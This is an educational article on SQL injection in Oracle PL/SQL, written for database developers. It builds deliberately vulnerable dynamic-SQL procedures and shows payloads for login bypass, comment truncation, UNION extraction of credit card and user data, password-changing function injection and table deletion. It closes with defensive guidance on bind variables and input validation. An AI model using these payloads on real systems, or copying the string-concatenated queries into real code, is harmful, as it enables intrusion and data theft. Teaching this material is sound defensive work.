SQL Injection techniques
Security should be foremost on every database developer's mind, and given a little thought and know-how, it's
not difficult to develop fairly secure code. The only trouble is that it's VERY easy to develop code
which can be exploited in some way, maybe with disastrous results.
This article isn't about database security in general, that's far too big a subject to cover in a few
pages of XHTML, but about a specific issue which is probably the most common database and application
exploit.
What is SQL Injection?
So, what exactly is SQL Injection? Well, at it's most basic, it's the ability to modify the expected
behaviour of a process. How can this be done? It's really ALL about dynamic SQL. Any code which
utilises dynamic SQL, i.e. treating a string as a query, could potentially fall foul of SQL Injection
hacks unless proper consideration is given to validation of inputs. I'll go over the more common (and the
more advanced) SQL injection techniques here. Any application injection hack will almost certainly
involve one or more of these types of techniques. Note that I use PL/SQL to show these kinds of
techniques, but pretty much the same principles apply to insecure programming in PHP, Perl, .NET, or
any language that has to interact with a SQL database.
Query Modification I - Handling quotes
This is the simplest, and probably most common, SQL injection technique. Let's say you have the following
PL/SQL process which is used to validate usernames and passwords :
SQL> INSERT INTO users VALUES ( 'chadders', 'chadders' );
1 row created.
SQL> CREATE OR REPLACE PROCEDURE validate_password(p_username IN VARCHAR2,
2 p_password IN VARCHAR2)
3 AS
4 c1 SYS_REFCURSOR;
5 l_ok NUMBER;
6 BEGIN
7 OPEN c1 FOR 'SELECT 1 FROM users WHERE user_name = ''' || p_username || '''' ||
8 ' AND password = ''' || p_password || '''';
9 FETCH c1 INTO l_ok;
10 IF c1%NOTFOUND
11 THEN
12 RAISE_APPLICATION_ERROR(-20001, 'Invalid Password');
13 END IF;
14 CLOSE c1;
15 END;
16 /
Procedure created.
So, the idea is to dynamically build up a SQL statement and fail if the cursor returns no rows,
for example :
SQL> EXEC validate_password('chadders', 'chadders');
PL/SQL procedure successfully completed.
Passing an invalid password, gets an error
SQL> EXEC validate_password('chadders', 'chadders2');
BEGIN validate_password('chadders', 'chadders2'); END;
*
ERROR at line 1:
ORA-20001: Invalid Password
ORA-06512: at "CHADDERS.VALIDATE_PASSWORD", line 12
ORA-06512: at line 1
Looks great, doesn't it? Well, this kind of routine is a perfect example of insecurity, for example,
what happens when the password to be validated contains the following : x'' OR ''1''=''1 (the important
thing to realise are the quotes) :
SQL> EXEC validate_password('chadders', 'x'' OR ''1''=''1');
PL/SQL procedure successfully completed.
Successful? Why? Well, look at the resultant SQL :
SELECT 1 FROM users WHERE user_name = 'chadders' AND password = 'x' OR '1'='1';
So, I've successfully modified the SQL to always return a row, without knowing the password, and, indeed,
the username itself is now unimportant :
SQL> EXEC validate_password('1', 'x'' OR ''1''=''1');
PL/SQL procedure successfully completed.
Query Modification II - Truncation
An alternative mechanism for bypassing certain parts of SQL statements is to simply comment them
out! This is shown using the "users" functionality above.
All I need to do is issue a username with the relevant "comment characters" and I'm in.
For example :
SQL> EXEC validate_password('chadders''--', '');
PL/SQL procedure successfully completed.
Why does this work? Look at the resultant SQL :
SELECT 1 FROM users WHERE user_name = 'chadders'-- AND password = '';
Query Modification III - Obtaining Information
Okay, let's take a slightly different tack. A common hack is not to just login, but to obtain information
as well from the database. Again, only a rudimentary SQL knowledge is needed to get information from an
insecure process, even if the process has nothing to do with what we're trying to achieve!
Let's assume I've got an uninteresting (to the hacker) table and a process which returns information
from it (usually via an application front-end, such as a web page).
Note, I'm using DBMS_OUTPUT here to emulate the output process.
SQL> CREATE TABLE unimportant_table ( code VARCHAR2(10), value VARCHAR2(50) );
Table created.
SQL> INSERT INTO unimportant_table VALUES ( 'X', 'Y' );
1 row created.
SQL> CREATE OR REPLACE PROCEDURE show_unimportant_data(p_code IN VARCHAR2)
2 AS
3 c1 SYS_REFCURSOR;
4 l_code VARCHAR2(50);
5 l_value VARCHAR2(50);
6 BEGIN
7 OPEN c1 FOR 'SELECT code, value FROM unimportant_table WHERE code = ''' || p_code || '''';
8 LOOP
9 FETCH c1 INTO l_code, l_value;
10 EXIT WHEN c1%NOTFOUND;
11 dbms_output.put_line('Code : ' || l_code || ' : Value : ' || l_value);
12 END LOOP;
13 CLOSE c1;
14 END show_unimportant_data;
15 /
Procedure created.
SQL> EXEC show_unimportant_data('X');
Code : X : Value : Y
PL/SQL procedure successfully completed.
Getting data from another table
Let's assume we have another table as well, of much more interest to the
hacker, such as credit card details :
SQL> CREATE TABLE credit_cards ( card_num VARCHAR2(50), pin_num NUMBER(4) );
Table created.
SQL> INSERT INTO credit_cards VALUES ( '000-000-000', '1234' );
1 row created.
The hacker has access to the "unimportant" function, but needs to see the credit card details...
OK, easy enough with some common sense and a rudimentary SQL knowledge, specifically, the UNION syntax :
SQL> BEGIN
2 show_unimportant_data('X'' UNION SELECT card_num, TO_CHAR(pin_num) FROM credit_cards ' ||
3 'WHERE ''1''=''1');
4 END;
5 /
Code : 000-000-000 : Value : 1234
Code : X : Value : Y
PL/SQL procedure successfully completed.
Obtaining database / connection information
Often, a crucial part of hacking any system, is obtaining information about the database and / or
the current user connection details. Given access to the "unimportant" function above, I can derive all
sorts of information, such as :
SQL> BEGIN
2 show_unimportant_data(''' UNION SELECT ''x'', ''x'' FROM dual WHERE ''1''=''1');
3 END;
4 /
Code : x : Value : x
PL/SQL procedure successfully completed.
This pretty much proves I'm connecting to an Oracle database, since no other database is likely to
have a dual table. Other databases may be inferred by using database-specific functions, etc.
I had to select the value twice, of course, since that is what the SQL is expecting, the hacker may have
had to experiment somewhat to get the correct number of terms.
SQL> BEGIN
2 show_unimportant_data(''' UNION SELECT user, sys.database_name FROM dual WHERE ''X''=''X');
3 END;
4 /
Code : CHADDERS : Value : ORCL
PL/SQL procedure successfully completed.
Okay, I can see that I am connecting as the CHADDERS user in the ORCL database.
What about other users out there?
SQL> BEGIN
2 show_unimportant_data(''' UNION SELECT username, TO_CHAR(user_id) FROM all_users WHERE ''x''=''x');
3 END;
4 /
Code : ANONYMOUS : Value : 39
Code : BI : Value : 60
Code : CTXSYS : Value : 36
Code : DBSNMP : Value : 24
Code : DIP : Value : 19
Code : DMSYS : Value : 35
Code : EXFSYS : Value : 34
Code : HR : Value : 55
Code : IX : Value : 57
Code : CHADDERS : Value : 61
Code : MDDATA : Value : 50
Code : MDSYS : Value : 46
Code : OE : Value : 56
Code : OLAPSYS : Value : 47
Code : ORDPLUGINS : Value : 44
Code : ORDSYS : Value : 43
Code : OUTLN : Value : 11
Code : PM : Value : 59
Code : SCOTT : Value : 54
Code : SH : Value : 58
Code : SI_INFORMTN_SCHEMA : Value : 45
Code : SYS : Value : 0
Code : SYSMAN : Value : 51
Code : SYSTEM : Value : 5
Code : TSMSYS : Value : 21
Code : WMSYS : Value : 25
Code : XDB : Value : 38
PL/SQL procedure successfully completed.
So, this is just a flavour of things. Given this inocuous looking function, I can derive potentially
damaging information about the system itself, such as user information, such as passwords,
( although they almost certainly would be the hashed one's from dba_users, but there are plenty of
brute-force attacks on hashes out there for the determined hacker to utilise ),
what table(s) are in the system, what database links are in place etc. etc. The possibilities for
a damaging attack are practically limitless, unless addressed properly.
Injecting Function Calls
As if the above example isn't disastrous enough, there are plenty of other considerations when dealing with
SQL Injection techniques, such as the ability to
"inject" function calls. Don't forget that it's still valid SQL, if you put a function call in the
above WHERE clause that actually DOES something, such as modifying data. This is a bit more involved,
since you can't ordinarily do DML or DDL in a query in Oracle (unlike some other databases....), UNLESS
the function is an autonomous transaction. Let's look at an example.
Let's say there's a function, and, crucially, the hacker knows about it, which is used to change a user's
password :
SQL> CREATE OR REPLACE FUNCTION change_password(p_username IN VARCHAR2,
2 p_new_password IN VARCHAR2)
3 RETURN VARCHAR2
4 as
5 PRAGMA AUTONOMOUS_TRANSACTION;
6 BEGIN
7 UPDATE users
8 SET password = p_new_password
9 WHERE user_name = p_username;
10 COMMIT;
11 RETURN 'Y';
12 END change_password;
13 /
Function created.
Now, the hacker does the validation of the password, but instead of the username or password in one of the
parameters, they put the function call in :
SQL> BEGIN
2 validate_password('chadders', 'x''
3 AND ''x''=change_password(''chadders'', ''x'')
4 AND ''x''=''x');
5 END;
6 /
BEGIN
*
ERROR at line 1:
ORA-20001: Invalid Password
ORA-06512: at "MARTIN.VALIDATE_PASSWORD", line 15
ORA-06512: at line 2
Ok, first attempt, they get an invalid password error, BUT look at the users table :
SQL> SELECT * FROM users;
USER_NAME PASSWORD
-------------------------------------------------- -----------------------------------------------
chadders x
The password is permanently modified, so subsequent attempts can just do :
SQL> EXEC validate_password('chadders', 'x');
PL/SQL procedure successfully completed.
While this is a contrived example, imagine what would happen if the function call was a DROP TABLE, or
DELETE FROM statement. Again, bind variables saves you from this problem.
What about other kinds of statement? For example, if my dynamic SQL being executed was itself
DML or DDL? Let's try it, firstly, with a DML procedure :
SQL> CREATE OR REPLACE PROCEDURE test_dml(p_username IN VARCHAR2,
2 p_password IN VARCHAR2)
3 AS
4 BEGIN
5 EXECUTE IMMEDIATE 'UPDATE users SET password = ''' || p_password || ''' ' ||
6 ' WHERE user_name = ''' || p_username || '''';
7 END test_dml;
8 /
Procedure created.
SQL> EXEC test_dml('chadders', 'y');
PL/SQL procedure successfully completed.
Now, of course, the usual SQL Injection problems apply, i.e. modifying the SET and WHERE clause,
but can we do anything else with this? What about issuing another DML after the original statement?
SQL> EXEC test_dml('chadders', 'y''; DELETE FROM users');
BEGIN test_dml('chadders', 'y''; DELETE FROM users'); END;
*
ERROR at line 1:
ORA-00911: invalid character
ORA-06512: at "MARTIN.TEST_DML", line 5
ORA-06512: at line 1
Okay, so that seems to be OK, EXECUTE IMMEDIATE won't execute if there's a semi-colon (;) in the statement,
effectively ruling out any subsequent execution. What about DDL?
SQL> CREATE OR REPLACE PROCEDURE test_ddl(p_in IN VARCHAR2)
2 AS
3 BEGIN
4 EXECUTE IMMEDIATE 'DROP TABLE ' || p_in;
5 END test_ddl;
6 /
Procedure created.
SQL> EXEC TEST_DDL('users');
PL/SQL procedure successfully completed.
SQL> EXEC TEST_DDL('users; create table users ( a varchar2(10) )');
BEGIN TEST_DDL('users; create table users ( a varchar2(10) )'); END;
*
ERROR at line 1:
ORA-00911: invalid character
ORA-06512: at "MARTIN.TEST_DDL", line 4
ORA-06512: at line 1
These tests, therefore, seem to show that in Oracle, you CANNOT "batch" up statements in a single
dynamic SQL "call", therefore, SQL Injection is limited to modifying the intended purpose of
a single statement only. This is certainly true when just dynamic SQL, but what about dynamic PL/SQL?
Well, that's a different kettle of fish, and is far more dangerous, as we shall now see.....
Injecting PL/SQL
We've already covered the modification of dynamic SQL, but of course it's perfectly possible to
utilise dynamic PL/SQL in your application. For example, this function is designed to create a row
in the "users" table, but instead of simple dynamic SQL, it builds up a dynamic anonymous PL/SQL
block :
SQL> CREATE OR REPLACE PROCEDURE insert_user ( p_user IN VARCHAR2, p_password IN VARCHAR2 )
2 AS
3 BEGIN
4 EXECUTE IMMEDIATE 'BEGIN INSERT INTO users VALUES ( ''' || p_user || '''
5 , ''' || p_password || ''' ); END;';
6 END insert_user;
7 /
Procedure created.
SQL> EXEC insert_user('chadders', 'chadders');
PL/SQL procedure successfully completed.
Okay, now what can we do? Well, the world's our oyster with this one, since we now CAN batch up
statements, for example :
SQL> BEGIN
2 insert_user('chadders', 'chadders''); delete from users; END;--');
3 end;
4 /
PL/SQL procedure successfully completed.
SQL> SELECT * FROM users;
no rows selected
Here, i'm using batching and truncation to remove all rows from users! The resultant PL/SQL block is :
BEGIN
INSERT INTO users VALUES ('chadders', 'chadders'); delete from users; END; --); END;
So, PL/SQL has allowed me to add the "delete from users" into the block, and truncation has allowed me
to remove the need to handle the additional parenthesis and "END;" at the end of the statement. Note, I
could have also come up with a statement which handled it in a different way, but this serves to
highlight the point.....
Summary : What you can and can't do with SQL Injection in Oracle
Okay, so the major issues have been outlined above, therefore, I'll quickly summarise in bullet
format an overview of what can and can't be done in Oracle using SQL Injection techniques, if you don't
follow the various programming security principles (which will be covered later).
What CAN be done?
- The "meaning" of queries using dynamic SQL can be modified to
something which the developer did not originally intend.
- "Extra" commands can be injected into anonymous PL/SQL blocks.
- Sections of the query can be removed by techniques such as "truncation".
- Information about your database / application can be extracted, usually by appending extra
SQL statements using constructs such as UNION.
What CANNOT be done?
- "Extra" statements cannot be injected into existing cursors using dynamic SQL. This CAN be done,
however, using dynamic PL/SQL blocks (see above).
Guidelines
There are many guidelines which can reduce the risk of a serious application security breach :
- Use "static" SQL and/or PL/SQL wherever possible
- Use bind variables, IF dynamic SQL is necessary (which is probably not as often as most developers
think).
- If bind variables cannot be used (such as trying to insert table names etc), ensure you validate ALL
inputs using Oracle built-in mechanisms such as DBMS_ASSERT, checking for
meta-characters etc.
Most importantly, DO NOT be complacent! Never assume your code is 100% secure. Be critical,
and say "can it be hacked?".
Further Information
It is important to ensure that you understand as much of the issues surrounding SQL (and PL/SQL)
injection as possible.